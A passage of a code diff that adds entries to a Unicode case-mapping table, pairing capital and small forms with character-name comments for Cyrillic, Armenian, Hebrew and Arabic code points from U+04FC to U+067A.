+ ["\u04FC", "\u04FD"], /* CYRILLIC CAPITAL LETTER HA WITH HOOK */
+ ["\u04FC", "\u04FD"], /* CYRILLIC SMALL LETTER HA WITH HOOK */
+ ["\u04FE", "\u04FF"], /* CYRILLIC CAPITAL LETTER HA WITH STROKE */
+ ["\u04FE", "\u04FF"], /* CYRILLIC SMALL LETTER HA WITH STROKE */
+ ["\u0500", "\u0501"], /* CYRILLIC CAPITAL LETTER KOMI DE */
+ ["\u0500", "\u0501"], /* CYRILLIC SMALL LETTER KOMI DE */
+ ["\u0502", "\u0503"], /* CYRILLIC CAPITAL LETTER KOMI DJE */
+ ["\u0502", "\u0503"], /* CYRILLIC SMALL LETTER KOMI DJE */
+ ["\u0504", "\u0505"], /* CYRILLIC CAPITAL LETTER KOMI ZJE */
+ ["\u0504", "\u0505"], /* CYRILLIC SMALL LETTER KOMI ZJE */
+ ["\u0506", "\u0507"], /* CYRILLIC CAPITAL LETTER KOMI DZJE */
+ ["\u0506", "\u0507"], /* CYRILLIC SMALL LETTER KOMI DZJE */
+ ["\u0508", "\u0509"], /* CYRILLIC CAPITAL LETTER KOMI LJE */
+ ["\u0508", "\u0509"], /* CYRILLIC SMALL LETTER KOMI LJE */
+ ["\u050A", "\u050B"], /* CYRILLIC CAPITAL LETTER KOMI NJE */
+ ["\u050A", "\u050B"], /* CYRILLIC SMALL LETTER KOMI NJE */
+ ["\u050C", "\u050D"], /* CYRILLIC CAPITAL LETTER KOMI SJE */
+ ["\u050C", "\u050D"], /* CYRILLIC SMALL LETTER KOMI SJE */
+ ["\u050E", "\u050F"], /* CYRILLIC CAPITAL LETTER KOMI TJE */
+ ["\u050E", "\u050F"], /* CYRILLIC SMALL LETTER KOMI TJE */
+ ["\u0510", "\u0511"], /* CYRILLIC CAPITAL LETTER REVERSED ZE */
+ ["\u0510", "\u0511"], /* CYRILLIC SMALL LETTER REVERSED ZE */
+ ["\u0512", "\u0513"], /* CYRILLIC CAPITAL LETTER EL WITH HOOK */
+ ["\u0512", "\u0513"], /* CYRILLIC SMALL LETTER EL WITH HOOK */
+ ["\u0514", "\u0515"], /* CYRILLIC CAPITAL LETTER LHA */
+ ["\u0514", "\u0515"], /* CYRILLIC SMALL LETTER LHA */
+ ["\u0516", "\u0517"], /* CYRILLIC CAPITAL LETTER RHA */
+ ["\u0516", "\u0517"], /* CYRILLIC SMALL LETTER RHA */
+ ["\u0518", "\u0519"], /* CYRILLIC CAPITAL LETTER YAE */
+ ["\u0518", "\u0519"], /* CYRILLIC SMALL LETTER YAE */
+ ["\u051A", "\u051B"], /* CYRILLIC CAPITAL LETTER QA */
+ ["\u051A", "\u051B"], /* CYRILLIC SMALL LETTER QA */
+ ["\u051C", "\u051D"], /* CYRILLIC CAPITAL LETTER WE */
+ ["\u051C", "\u051D"], /* CYRILLIC SMALL LETTER WE */
+ ["\u051E", "\u051F"], /* CYRILLIC CAPITAL LETTER ALEUT KA */
+ ["\u051E", "\u051F"], /* CYRILLIC SMALL LETTER ALEUT KA */
+ ["\u0520", "\u0521"], /* CYRILLIC CAPITAL LETTER EL WITH MIDDLE HOOK */
+ ["\u0520", "\u0521"], /* CYRILLIC SMALL LETTER EL WITH MIDDLE HOOK */
+ ["\u0522", "\u0523"], /* CYRILLIC CAPITAL LETTER EN WITH MIDDLE HOOK */
+ ["\u0522", "\u0523"], /* CYRILLIC SMALL LETTER EN WITH MIDDLE HOOK */
+ ["\u0524", "\u0525"], /* CYRILLIC CAPITAL LETTER PE WITH DESCENDER */
+ ["\u0524", "\u0525"], /* CYRILLIC SMALL LETTER PE WITH DESCENDER */
+ ["\u0526", "\u0527"], /* CYRILLIC CAPITAL LETTER SHHA WITH DESCENDER */
+ ["\u0526", "\u0527"], /* CYRILLIC SMALL LETTER SHHA WITH DESCENDER */
+ ["\u0528", "\u0529"], /* CYRILLIC CAPITAL LETTER EN WITH LEFT HOOK */
+ ["\u0528", "\u0529"], /* CYRILLIC SMALL LETTER EN WITH LEFT HOOK */
+ ["\u052A", "\u052B"], /* CYRILLIC CAPITAL LETTER DZZHE */
+ ["\u052A", "\u052B"], /* CYRILLIC SMALL LETTER DZZHE */
+ ["\u052C", "\u052D"], /* CYRILLIC CAPITAL LETTER DCHE */
+ ["\u052C", "\u052D"], /* CYRILLIC SMALL LETTER DCHE */
+ ["\u052E", "\u052F"], /* CYRILLIC CAPITAL LETTER EL WITH DESCENDER */
+ ["\u052E", "\u052F"], /* CYRILLIC SMALL LETTER EL WITH DESCENDER */
+ ["\u0530", "\u0530"],
+ ["\u0531", "\u0561"], /* ARMENIAN CAPITAL LETTER AYB */
+ ["\u0532", "\u0562"], /* ARMENIAN CAPITAL LETTER BEN */
+ ["\u0533", "\u0563"], /* ARMENIAN CAPITAL LETTER GIM */
+ ["\u0534", "\u0564"], /* ARMENIAN CAPITAL LETTER DA */
+ ["\u0535", "\u0565"], /* ARMENIAN CAPITAL LETTER ECH */
+ ["\u0536", "\u0566"], /* ARMENIAN CAPITAL LETTER ZA */
+ ["\u0537", "\u0567"], /* ARMENIAN CAPITAL LETTER EH */
+ ["\u0538", "\u0568"], /* ARMENIAN CAPITAL LETTER ET */
+ ["\u0539", "\u0569"], /* ARMENIAN CAPITAL LETTER TO */
+ ["\u053A", "\u056A"], /* ARMENIAN CAPITAL LETTER ZHE */
+ ["\u053B", "\u056B"], /* ARMENIAN CAPITAL LETTER INI */
+ ["\u053C", "\u056C"], /* ARMENIAN CAPITAL LETTER LIWN */
+ ["\u053D", "\u056D"], /* ARMENIAN CAPITAL LETTER XEH */
+ ["\u053E", "\u056E"], /* ARMENIAN CAPITAL LETTER CA */
+ ["\u053F", "\u056F"], /* ARMENIAN CAPITAL LETTER KEN */
+ ["\u0540", "\u0570"], /* ARMENIAN CAPITAL LETTER HO */
+ ["\u0541", "\u0571"], /* ARMENIAN CAPITAL LETTER JA */
+ ["\u0542", "\u0572"], /* ARMENIAN CAPITAL LETTER GHAD (ARMENIAN CAPITAL LETTER LAD) */
+ ["\u0543", "\u0573"], /* ARMENIAN CAPITAL LETTER CHEH */
+ ["\u0544", "\u0574"], /* ARMENIAN CAPITAL LETTER MEN */
+ ["\u0545", "\u0575"], /* ARMENIAN CAPITAL LETTER YI */
+ ["\u0546", "\u0576"], /* ARMENIAN CAPITAL LETTER NOW */
+ ["\u0547", "\u0577"], /* ARMENIAN CAPITAL LETTER SHA */
+ ["\u0548", "\u0578"], /* ARMENIAN CAPITAL LETTER VO */
+ ["\u0549", "\u0579"], /* ARMENIAN CAPITAL LETTER CHA */
+ ["\u054A", "\u057A"], /* ARMENIAN CAPITAL LETTER PEH */
+ ["\u054B", "\u057B"], /* ARMENIAN CAPITAL LETTER JHEH */
+ ["\u054C", "\u057C"], /* ARMENIAN CAPITAL LETTER RA */
+ ["\u054D", "\u057D"], /* ARMENIAN CAPITAL LETTER SEH */
+ ["\u054E", "\u057E"], /* ARMENIAN CAPITAL LETTER VEW */
+ ["\u054F", "\u057F"], /* ARMENIAN CAPITAL LETTER TIWN */
+ ["\u0550", "\u0580"], /* ARMENIAN CAPITAL LETTER REH */
+ ["\u0551", "\u0581"], /* ARMENIAN CAPITAL LETTER CO */
+ ["\u0552", "\u0582"], /* ARMENIAN CAPITAL LETTER YIWN */
+ ["\u0553", "\u0583"], /* ARMENIAN CAPITAL LETTER PIWR */
+ ["\u0554", "\u0584"], /* ARMENIAN CAPITAL LETTER KEH */
+ ["\u0555", "\u0585"], /* ARMENIAN CAPITAL LETTER OH */
+ ["\u0556", "\u0586"], /* ARMENIAN CAPITAL LETTER FEH */
+ ["\u0557", "\u0557"],
+ ["\u0558", "\u0558"],
+ ["\u0559", "\u0559"], /* ARMENIAN MODIFIER LETTER LEFT HALF RING */
+ ["\u055A", "\u055A"], /* ARMENIAN APOSTROPHE (ARMENIAN MODIFIER LETTER RIGHT HALF RING) */
+ ["\u055B", "\u055B"], /* ARMENIAN EMPHASIS MARK */
+ ["\u055C", "\u055C"], /* ARMENIAN EXCLAMATION MARK */
+ ["\u055D", "\u055D"], /* ARMENIAN COMMA */
+ ["\u055E", "\u055E"], /* ARMENIAN QUESTION MARK */
+ ["\u055F", "\u055F"], /* ARMENIAN ABBREVIATION MARK */
+ ["\u0560", "\u0560"], /* ARMENIAN SMALL LETTER TURNED AYB */
+ ["\u0531", "\u0561"], /* ARMENIAN SMALL LETTER AYB */
+ ["\u0532", "\u0562"], /* ARMENIAN SMALL LETTER BEN */
+ ["\u0533", "\u0563"], /* ARMENIAN SMALL LETTER GIM */
+ ["\u0534", "\u0564"], /* ARMENIAN SMALL LETTER DA */
+ ["\u0535", "\u0565"], /* ARMENIAN SMALL LETTER ECH */
+ ["\u0536", "\u0566"], /* ARMENIAN SMALL LETTER ZA */
+ ["\u0537", "\u0567"], /* ARMENIAN SMALL LETTER EH */
+ ["\u0538", "\u0568"], /* ARMENIAN SMALL LETTER ET */
+ ["\u0539", "\u0569"], /* ARMENIAN SMALL LETTER TO */
+ ["\u053A", "\u056A"], /* ARMENIAN SMALL LETTER ZHE */
+ ["\u053B", "\u056B"], /* ARMENIAN SMALL LETTER INI */
+ ["\u053C", "\u056C"], /* ARMENIAN SMALL LETTER LIWN */
+ ["\u053D", "\u056D"], /* ARMENIAN SMALL LETTER XEH */
+ ["\u053E", "\u056E"], /* ARMENIAN SMALL LETTER CA */
+ ["\u053F", "\u056F"], /* ARMENIAN SMALL LETTER KEN */
+ ["\u0540", "\u0570"], /* ARMENIAN SMALL LETTER HO */
+ ["\u0541", "\u0571"], /* ARMENIAN SMALL LETTER JA */
+ ["\u0542", "\u0572"], /* ARMENIAN SMALL LETTER GHAD (ARMENIAN SMALL LETTER LAD) */
+ ["\u0543", "\u0573"], /* ARMENIAN SMALL LETTER CHEH */
+ ["\u0544", "\u0574"], /* ARMENIAN SMALL LETTER MEN */
+ ["\u0545", "\u0575"], /* ARMENIAN SMALL LETTER YI */
+ ["\u0546", "\u0576"], /* ARMENIAN SMALL LETTER NOW */
+ ["\u0547", "\u0577"], /* ARMENIAN SMALL LETTER SHA */
+ ["\u0548", "\u0578"], /* ARMENIAN SMALL LETTER VO */
+ ["\u0549", "\u0579"], /* ARMENIAN SMALL LETTER CHA */
+ ["\u054A", "\u057A"], /* ARMENIAN SMALL LETTER PEH */
+ ["\u054B", "\u057B"], /* ARMENIAN SMALL LETTER JHEH */
+ ["\u054C", "\u057C"], /* ARMENIAN SMALL LETTER RA */
+ ["\u054D", "\u057D"], /* ARMENIAN SMALL LETTER SEH */
+ ["\u054E", "\u057E"], /* ARMENIAN SMALL LETTER VEW */
+ ["\u054F", "\u057F"], /* ARMENIAN SMALL LETTER TIWN */
+ ["\u0550", "\u0580"], /* ARMENIAN SMALL LETTER REH */
+ ["\u0551", "\u0581"], /* ARMENIAN SMALL LETTER CO */
+ ["\u0552", "\u0582"], /* ARMENIAN SMALL LETTER YIWN */
+ ["\u0553", "\u0583"], /* ARMENIAN SMALL LETTER PIWR */
+ ["\u0554", "\u0584"], /* ARMENIAN SMALL LETTER KEH */
+ ["\u0555", "\u0585"], /* ARMENIAN SMALL LETTER OH */
+ ["\u0556", "\u0586"], /* ARMENIAN SMALL LETTER FEH */
+ ["\u0535\u0552", "\u0587"], /* ARMENIAN SMALL LIGATURE ECH YIWN */
+ ["\u0588", "\u0588"], /* ARMENIAN SMALL LETTER YI WITH STROKE */
+ ["\u0589", "\u0589"], /* ARMENIAN FULL STOP (ARMENIAN PERIOD) */
+ ["\u058A", "\u058A"], /* ARMENIAN HYPHEN */
+ ["\u058B", "\u058B"],
+ ["\u058C", "\u058C"],
+ ["\u058D", "\u058D"], /* RIGHT-FACING ARMENIAN ETERNITY SIGN */
+ ["\u058E", "\u058E"], /* LEFT-FACING ARMENIAN ETERNITY SIGN */
+ ["\u058F", "\u058F"], /* ARMENIAN DRAM SIGN */
+ ["\u0590", "\u0590"],
+ ["\u0591", "\u0591"], /* HEBREW ACCENT ETNAHTA */
+ ["\u0592", "\u0592"], /* HEBREW ACCENT SEGOL */
+ ["\u0593", "\u0593"], /* HEBREW ACCENT SHALSHELET */
+ ["\u0594", "\u0594"], /* HEBREW ACCENT ZAQEF QATAN */
+ ["\u0595", "\u0595"], /* HEBREW ACCENT ZAQEF GADOL */
+ ["\u0596", "\u0596"], /* HEBREW ACCENT TIPEHA */
+ ["\u0597", "\u0597"], /* HEBREW ACCENT REVIA */
+ ["\u0598", "\u0598"], /* HEBREW ACCENT ZARQA */
+ ["\u0599", "\u0599"], /* HEBREW ACCENT PASHTA */
+ ["\u059A", "\u059A"], /* HEBREW ACCENT YETIV */
+ ["\u059B", "\u059B"], /* HEBREW ACCENT TEVIR */
+ ["\u059C", "\u059C"], /* HEBREW ACCENT GERESH */
+ ["\u059D", "\u059D"], /* HEBREW ACCENT GERESH MUQDAM */
+ ["\u059E", "\u059E"], /* HEBREW ACCENT GERSHAYIM */
+ ["\u059F", "\u059F"], /* HEBREW ACCENT QARNEY PARA */
+ ["\u05A0", "\u05A0"], /* HEBREW ACCENT TELISHA GEDOLA */
+ ["\u05A1", "\u05A1"], /* HEBREW ACCENT PAZER */
+ ["\u05A2", "\u05A2"], /* HEBREW ACCENT ATNAH HAFUKH */
+ ["\u05A3", "\u05A3"], /* HEBREW ACCENT MUNAH */
+ ["\u05A4", "\u05A4"], /* HEBREW ACCENT MAHAPAKH */
+ ["\u05A5", "\u05A5"], /* HEBREW ACCENT MERKHA */
+ ["\u05A6", "\u05A6"], /* HEBREW ACCENT MERKHA KEFULA */
+ ["\u05A7", "\u05A7"], /* HEBREW ACCENT DARGA */
+ ["\u05A8", "\u05A8"], /* HEBREW ACCENT QADMA */
+ ["\u05A9", "\u05A9"], /* HEBREW ACCENT TELISHA QETANA */
+ ["\u05AA", "\u05AA"], /* HEBREW ACCENT YERAH BEN YOMO */
+ ["\u05AB", "\u05AB"], /* HEBREW ACCENT OLE */
+ ["\u05AC", "\u05AC"], /* HEBREW ACCENT ILUY */
+ ["\u05AD", "\u05AD"], /* HEBREW ACCENT DEHI */
+ ["\u05AE", "\u05AE"], /* HEBREW ACCENT ZINOR */
+ ["\u05AF", "\u05AF"], /* HEBREW MARK MASORA CIRCLE */
+ ["\u05B0", "\u05B0"], /* HEBREW POINT SHEVA */
+ ["\u05B1", "\u05B1"], /* HEBREW POINT HATAF SEGOL */
+ ["\u05B2", "\u05B2"], /* HEBREW POINT HATAF PATAH */
+ ["\u05B3", "\u05B3"], /* HEBREW POINT HATAF QAMATS */
+ ["\u05B4", "\u05B4"], /* HEBREW POINT HIRIQ */
+ ["\u05B5", "\u05B5"], /* HEBREW POINT TSERE */
+ ["\u05B6", "\u05B6"], /* HEBREW POINT SEGOL */
+ ["\u05B7", "\u05B7"], /* HEBREW POINT PATAH */
+ ["\u05B8", "\u05B8"], /* HEBREW POINT QAMATS */
+ ["\u05B9", "\u05B9"], /* HEBREW POINT HOLAM */
+ ["\u05BA", "\u05BA"], /* HEBREW POINT HOLAM HASER FOR VAV */
+ ["\u05BB", "\u05BB"], /* HEBREW POINT QUBUTS */
+ ["\u05BC", "\u05BC"], /* HEBREW POINT DAGESH OR MAPIQ (HEBREW POINT DAGESH) */
+ ["\u05BD", "\u05BD"], /* HEBREW POINT METEG */
+ ["\u05BE", "\u05BE"], /* HEBREW PUNCTUATION MAQAF */
+ ["\u05BF", "\u05BF"], /* HEBREW POINT RAFE */
+ ["\u05C0", "\u05C0"], /* HEBREW PUNCTUATION PASEQ (HEBREW POINT PASEQ) */
+ ["\u05C1", "\u05C1"], /* HEBREW POINT SHIN DOT */
+ ["\u05C2", "\u05C2"], /* HEBREW POINT SIN DOT */
+ ["\u05C3", "\u05C3"], /* HEBREW PUNCTUATION SOF PASUQ */
+ ["\u05C4", "\u05C4"], /* HEBREW MARK UPPER DOT */
+ ["\u05C5", "\u05C5"], /* HEBREW MARK LOWER DOT */
+ ["\u05C6", "\u05C6"], /* HEBREW PUNCTUATION NUN HAFUKHA */
+ ["\u05C7", "\u05C7"], /* HEBREW POINT QAMATS QATAN */
+ ["\u05C8", "\u05C8"],
+ ["\u05C9", "\u05C9"],
+ ["\u05CA", "\u05CA"],
+ ["\u05CB", "\u05CB"],
+ ["\u05CC", "\u05CC"],
+ ["\u05CD", "\u05CD"],
+ ["\u05CE", "\u05CE"],
+ ["\u05CF", "\u05CF"],
+ ["\u05D0", "\u05D0"], /* HEBREW LETTER ALEF */
+ ["\u05D1", "\u05D1"], /* HEBREW LETTER BET */
+ ["\u05D2", "\u05D2"], /* HEBREW LETTER GIMEL */
+ ["\u05D3", "\u05D3"], /* HEBREW LETTER DALET */
+ ["\u05D4", "\u05D4"], /* HEBREW LETTER HE */
+ ["\u05D5", "\u05D5"], /* HEBREW LETTER VAV */
+ ["\u05D6", "\u05D6"], /* HEBREW LETTER ZAYIN */
+ ["\u05D7", "\u05D7"], /* HEBREW LETTER HET */
+ ["\u05D8", "\u05D8"], /* HEBREW LETTER TET */
+ ["\u05D9", "\u05D9"], /* HEBREW LETTER YOD */
+ ["\u05DA", "\u05DA"], /* HEBREW LETTER FINAL KAF */
+ ["\u05DB", "\u05DB"], /* HEBREW LETTER KAF */
+ ["\u05DC", "\u05DC"], /* HEBREW LETTER LAMED */
+ ["\u05DD", "\u05DD"], /* HEBREW LETTER FINAL MEM */
+ ["\u05DE", "\u05DE"], /* HEBREW LETTER MEM */
+ ["\u05DF", "\u05DF"], /* HEBREW LETTER FINAL NUN */
+ ["\u05E0", "\u05E0"], /* HEBREW LETTER NUN */
+ ["\u05E1", "\u05E1"], /* HEBREW LETTER SAMEKH */
+ ["\u05E2", "\u05E2"], /* HEBREW LETTER AYIN */
+ ["\u05E3", "\u05E3"], /* HEBREW LETTER FINAL PE */
+ ["\u05E4", "\u05E4"], /* HEBREW LETTER PE */
+ ["\u05E5", "\u05E5"], /* HEBREW LETTER FINAL TSADI */
+ ["\u05E6", "\u05E6"], /* HEBREW LETTER TSADI */
+ ["\u05E7", "\u05E7"], /* HEBREW LETTER QOF */
+ ["\u05E8", "\u05E8"], /* HEBREW LETTER RESH */
+ ["\u05E9", "\u05E9"], /* HEBREW LETTER SHIN */
+ ["\u05EA", "\u05EA"], /* HEBREW LETTER TAV */
+ ["\u05EB", "\u05EB"],
+ ["\u05EC", "\u05EC"],
+ ["\u05ED", "\u05ED"],
+ ["\u05EE", "\u05EE"],
+ ["\u05EF", "\u05EF"], /* HEBREW YOD TRIANGLE */
+ ["\u05F0", "\u05F0"], /* HEBREW LIGATURE YIDDISH DOUBLE VAV (HEBREW LETTER DOUBLE VAV) */
+ ["\u05F1", "\u05F1"], /* HEBREW LIGATURE YIDDISH VAV YOD (HEBREW LETTER VAV YOD) */
+ ["\u05F2", "\u05F2"], /* HEBREW LIGATURE YIDDISH DOUBLE YOD (HEBREW LETTER DOUBLE YOD) */
+ ["\u05F3", "\u05F3"], /* HEBREW PUNCTUATION GERESH */
+ ["\u05F4", "\u05F4"], /* HEBREW PUNCTUATION GERSHAYIM */
+ ["\u05F5", "\u05F5"],
+ ["\u05F6", "\u05F6"],
+ ["\u05F7", "\u05F7"],
+ ["\u05F8", "\u05F8"],
+ ["\u05F9", "\u05F9"],
+ ["\u05FA", "\u05FA"],
+ ["\u05FB", "\u05FB"],
+ ["\u05FC", "\u05FC"],
+ ["\u05FD", "\u05FD"],
+ ["\u05FE", "\u05FE"],
+ ["\u05FF", "\u05FF"],
+ ["\u0600", "\u0600"], /* ARABIC NUMBER SIGN */
+ ["\u0601", "\u0601"], /* ARABIC SIGN SANAH */
+ ["\u0602", "\u0602"], /* ARABIC FOOTNOTE MARKER */
+ ["\u0603", "\u0603"], /* ARABIC SIGN SAFHA */
+ ["\u0604", "\u0604"], /* ARABIC SIGN SAMVAT */
+ ["\u0605", "\u0605"], /* ARABIC NUMBER MARK ABOVE */
+ ["\u0606", "\u0606"], /* ARABIC-INDIC CUBE ROOT */
+ ["\u0607", "\u0607"], /* ARABIC-INDIC FOURTH ROOT */
+ ["\u0608", "\u0608"], /* ARABIC RAY */
+ ["\u0609", "\u0609"], /* ARABIC-INDIC PER MILLE SIGN */
+ ["\u060A", "\u060A"], /* ARABIC-INDIC PER TEN THOUSAND SIGN */
+ ["\u060B", "\u060B"], /* AFGHANI SIGN */
+ ["\u060C", "\u060C"], /* ARABIC COMMA */
+ ["\u060D", "\u060D"], /* ARABIC DATE SEPARATOR */
+ ["\u060E", "\u060E"], /* ARABIC POETIC VERSE SIGN */
+ ["\u060F", "\u060F"], /* ARABIC SIGN MISRA */
+ ["\u0610", "\u0610"], /* ARABIC SIGN SALLALLAHOU ALAYHE WASSALLAM */
+ ["\u0611", "\u0611"], /* ARABIC SIGN ALAYHE ASSALLAM */
+ ["\u0612", "\u0612"], /* ARABIC SIGN RAHMATULLAH ALAYHE */
+ ["\u0613", "\u0613"], /* ARABIC SIGN RADI ALLAHOU ANHU */
+ ["\u0614", "\u0614"], /* ARABIC SIGN TAKHALLUS */
+ ["\u0615", "\u0615"], /* ARABIC SMALL HIGH TAH */
+ ["\u0616", "\u0616"], /* ARABIC SMALL HIGH LIGATURE ALEF WITH LAM WITH YEH */
+ ["\u0617", "\u0617"], /* ARABIC SMALL HIGH ZAIN */
+ ["\u0618", "\u0618"], /* ARABIC SMALL FATHA */
+ ["\u0619", "\u0619"], /* ARABIC SMALL DAMMA */
+ ["\u061A", "\u061A"], /* ARABIC SMALL KASRA */
+ ["\u061B", "\u061B"], /* ARABIC SEMICOLON */
+ ["\u061C", "\u061C"], /* ARABIC LETTER MARK */
+ ["\u061D", "\u061D"],
+ ["\u061E", "\u061E"], /* ARABIC TRIPLE DOT PUNCTUATION MARK */
+ ["\u061F", "\u061F"], /* ARABIC QUESTION MARK */
+ ["\u0620", "\u0620"], /* ARABIC LETTER KASHMIRI YEH */
+ ["\u0621", "\u0621"], /* ARABIC LETTER HAMZA (ARABIC LETTER HAMZAH) */
+ ["\u0622", "\u0622"], /* ARABIC LETTER ALEF WITH MADDA ABOVE (ARABIC LETTER MADDAH ON ALEF) */
+ ["\u0623", "\u0623"], /* ARABIC LETTER ALEF WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON ALEF) */
+ ["\u0624", "\u0624"], /* ARABIC LETTER WAW WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON WAW) */
+ ["\u0625", "\u0625"], /* ARABIC LETTER ALEF WITH HAMZA BELOW (ARABIC LETTER HAMZAH UNDER ALEF) */
+ ["\u0626", "\u0626"], /* ARABIC LETTER YEH WITH HAMZA ABOVE (ARABIC LETTER HAMZAH ON YA) */
+ ["\u0627", "\u0627"], /* ARABIC LETTER ALEF */
+ ["\u0628", "\u0628"], /* ARABIC LETTER BEH (ARABIC LETTER BAA) */
+ ["\u0629", "\u0629"], /* ARABIC LETTER TEH MARBUTA (ARABIC LETTER TAA MARBUTAH) */
+ ["\u062A", "\u062A"], /* ARABIC LETTER TEH (ARABIC LETTER TAA) */
+ ["\u062B", "\u062B"], /* ARABIC LETTER THEH (ARABIC LETTER THAA) */
+ ["\u062C", "\u062C"], /* ARABIC LETTER JEEM */
+ ["\u062D", "\u062D"], /* ARABIC LETTER HAH (ARABIC LETTER HAA) */
+ ["\u062E", "\u062E"], /* ARABIC LETTER KHAH (ARABIC LETTER KHAA) */
+ ["\u062F", "\u062F"], /* ARABIC LETTER DAL */
+ ["\u0630", "\u0630"], /* ARABIC LETTER THAL */
+ ["\u0631", "\u0631"], /* ARABIC LETTER REH (ARABIC LETTER RA) */
+ ["\u0632", "\u0632"], /* ARABIC LETTER ZAIN */
+ ["\u0633", "\u0633"], /* ARABIC LETTER SEEN */
+ ["\u0634", "\u0634"], /* ARABIC LETTER SHEEN */
+ ["\u0635", "\u0635"], /* ARABIC LETTER SAD */
+ ["\u0636", "\u0636"], /* ARABIC LETTER DAD */
+ ["\u0637", "\u0637"], /* ARABIC LETTER TAH */
+ ["\u0638", "\u0638"], /* ARABIC LETTER ZAH (ARABIC LETTER DHAH) */
+ ["\u0639", "\u0639"], /* ARABIC LETTER AIN */
+ ["\u063A", "\u063A"], /* ARABIC LETTER GHAIN */
+ ["\u063B", "\u063B"], /* ARABIC LETTER KEHEH WITH TWO DOTS ABOVE */
+ ["\u063C", "\u063C"], /* ARABIC LETTER KEHEH WITH THREE DOTS BELOW */
+ ["\u063D", "\u063D"], /* ARABIC LETTER FARSI YEH WITH INVERTED V */
+ ["\u063E", "\u063E"], /* ARABIC LETTER FARSI YEH WITH TWO DOTS ABOVE */
+ ["\u063F", "\u063F"], /* ARABIC LETTER FARSI YEH WITH THREE DOTS ABOVE */
+ ["\u0640", "\u0640"], /* ARABIC TATWEEL */
+ ["\u0641", "\u0641"], /* ARABIC LETTER FEH (ARABIC LETTER FA) */
+ ["\u0642", "\u0642"], /* ARABIC LETTER QAF */
+ ["\u0643", "\u0643"], /* ARABIC LETTER KAF (ARABIC LETTER CAF) */
+ ["\u0644", "\u0644"], /* ARABIC LETTER LAM */
+ ["\u0645", "\u0645"], /* ARABIC LETTER MEEM */
+ ["\u0646", "\u0646"], /* ARABIC LETTER NOON */
+ ["\u0647", "\u0647"], /* ARABIC LETTER HEH (ARABIC LETTER HA) */
+ ["\u0648", "\u0648"], /* ARABIC LETTER WAW */
+ ["\u0649", "\u0649"], /* ARABIC LETTER ALEF MAKSURA (ARABIC LETTER ALEF MAQSURAH) */
+ ["\u064A", "\u064A"], /* ARABIC LETTER YEH (ARABIC LETTER YA) */
+ ["\u064B", "\u064B"], /* ARABIC FATHATAN */
+ ["\u064C", "\u064C"], /* ARABIC DAMMATAN */
+ ["\u064D", "\u064D"], /* ARABIC KASRATAN */
+ ["\u064E", "\u064E"], /* ARABIC FATHA (ARABIC FATHAH) */
+ ["\u064F", "\u064F"], /* ARABIC DAMMA (ARABIC DAMMAH) */
+ ["\u0650", "\u0650"], /* ARABIC KASRA (ARABIC KASRAH) */
+ ["\u0651", "\u0651"], /* ARABIC SHADDA (ARABIC SHADDAH) */
+ ["\u0652", "\u0652"], /* ARABIC SUKUN */
+ ["\u0653", "\u0653"], /* ARABIC MADDAH ABOVE */
+ ["\u0654", "\u0654"], /* ARABIC HAMZA ABOVE */
+ ["\u0655", "\u0655"], /* ARABIC HAMZA BELOW */
+ ["\u0656", "\u0656"], /* ARABIC SUBSCRIPT ALEF */
+ ["\u0657", "\u0657"], /* ARABIC INVERTED DAMMA */
+ ["\u0658", "\u0658"], /* ARABIC MARK NOON GHUNNA */
+ ["\u0659", "\u0659"], /* ARABIC ZWARAKAY */
+ ["\u065A", "\u065A"], /* ARABIC VOWEL SIGN SMALL V ABOVE */
+ ["\u065B", "\u065B"], /* ARABIC VOWEL SIGN INVERTED SMALL V ABOVE */
+ ["\u065C", "\u065C"], /* ARABIC VOWEL SIGN DOT BELOW */
+ ["\u065D", "\u065D"], /* ARABIC REVERSED DAMMA */
+ ["\u065E", "\u065E"], /* ARABIC FATHA WITH TWO DOTS */
+ ["\u065F", "\u065F"], /* ARABIC WAVY HAMZA BELOW */
+ ["\u0660", "\u0660"], /* ARABIC-INDIC DIGIT ZERO */
+ ["\u0661", "\u0661"], /* ARABIC-INDIC DIGIT ONE */
+ ["\u0662", "\u0662"], /* ARABIC-INDIC DIGIT TWO */
+ ["\u0663", "\u0663"], /* ARABIC-INDIC DIGIT THREE */
+ ["\u0664", "\u0664"], /* ARABIC-INDIC DIGIT FOUR */
+ ["\u0665", "\u0665"], /* ARABIC-INDIC DIGIT FIVE */
+ ["\u0666", "\u0666"], /* ARABIC-INDIC DIGIT SIX */
+ ["\u0667", "\u0667"], /* ARABIC-INDIC DIGIT SEVEN */
+ ["\u0668", "\u0668"], /* ARABIC-INDIC DIGIT EIGHT */
+ ["\u0669", "\u0669"], /* ARABIC-INDIC DIGIT NINE */
+ ["\u066A", "\u066A"], /* ARABIC PERCENT SIGN */
+ ["\u066B", "\u066B"], /* ARABIC DECIMAL SEPARATOR */
+ ["\u066C", "\u066C"], /* ARABIC THOUSANDS SEPARATOR */
+ ["\u066D", "\u066D"], /* ARABIC FIVE POINTED STAR */
+ ["\u066E", "\u066E"], /* ARABIC LETTER DOTLESS BEH */
+ ["\u066F", "\u066F"], /* ARABIC LETTER DOTLESS QAF */
+ ["\u0670", "\u0670"], /* ARABIC LETTER SUPERSCRIPT ALEF (ARABIC ALEF ABOVE) */
+ ["\u0671", "\u0671"], /* ARABIC LETTER ALEF WASLA (ARABIC LETTER HAMZAT WASL ON ALEF) */
+ ["\u0672", "\u0672"], /* ARABIC LETTER ALEF WITH WAVY HAMZA ABOVE (ARABIC LETTER WAVY HAMZAH ON ALEF) */
+ ["\u0673", "\u0673"], /* ARABIC LETTER ALEF WITH WAVY HAMZA BELOW (ARABIC LETTER WAVY HAMZAH UNDER ALEF) */
+ ["\u0674", "\u0674"], /* ARABIC LETTER HIGH HAMZA (ARABIC LETTER HIGH HAMZAH) */
+ ["\u0675", "\u0675"], /* ARABIC LETTER HIGH HAMZA ALEF (ARABIC LETTER HIGH HAMZAH ALEF) */
+ ["\u0676", "\u0676"], /* ARABIC LETTER HIGH HAMZA WAW (ARABIC LETTER HIGH HAMZAH WAW) */
+ ["\u0677", "\u0677"], /* ARABIC LETTER U WITH HAMZA ABOVE (ARABIC LETTER HIGH HAMZAH WAW WITH DAMMAH) */
+ ["\u0678", "\u0678"], /* ARABIC LETTER HIGH HAMZA YEH (ARABIC LETTER HIGH HAMZAH YA) */
+ ["\u0679", "\u0679"], /* ARABIC LETTER TTEH (ARABIC LETTER TAA WITH SMALL TAH) */
+ ["\u067A", "\u067A"], /* ARABIC LETTER TTEHEH (ARABIC LETTER TAA WITH TWO DOTS VERTICAL ABOVE) */
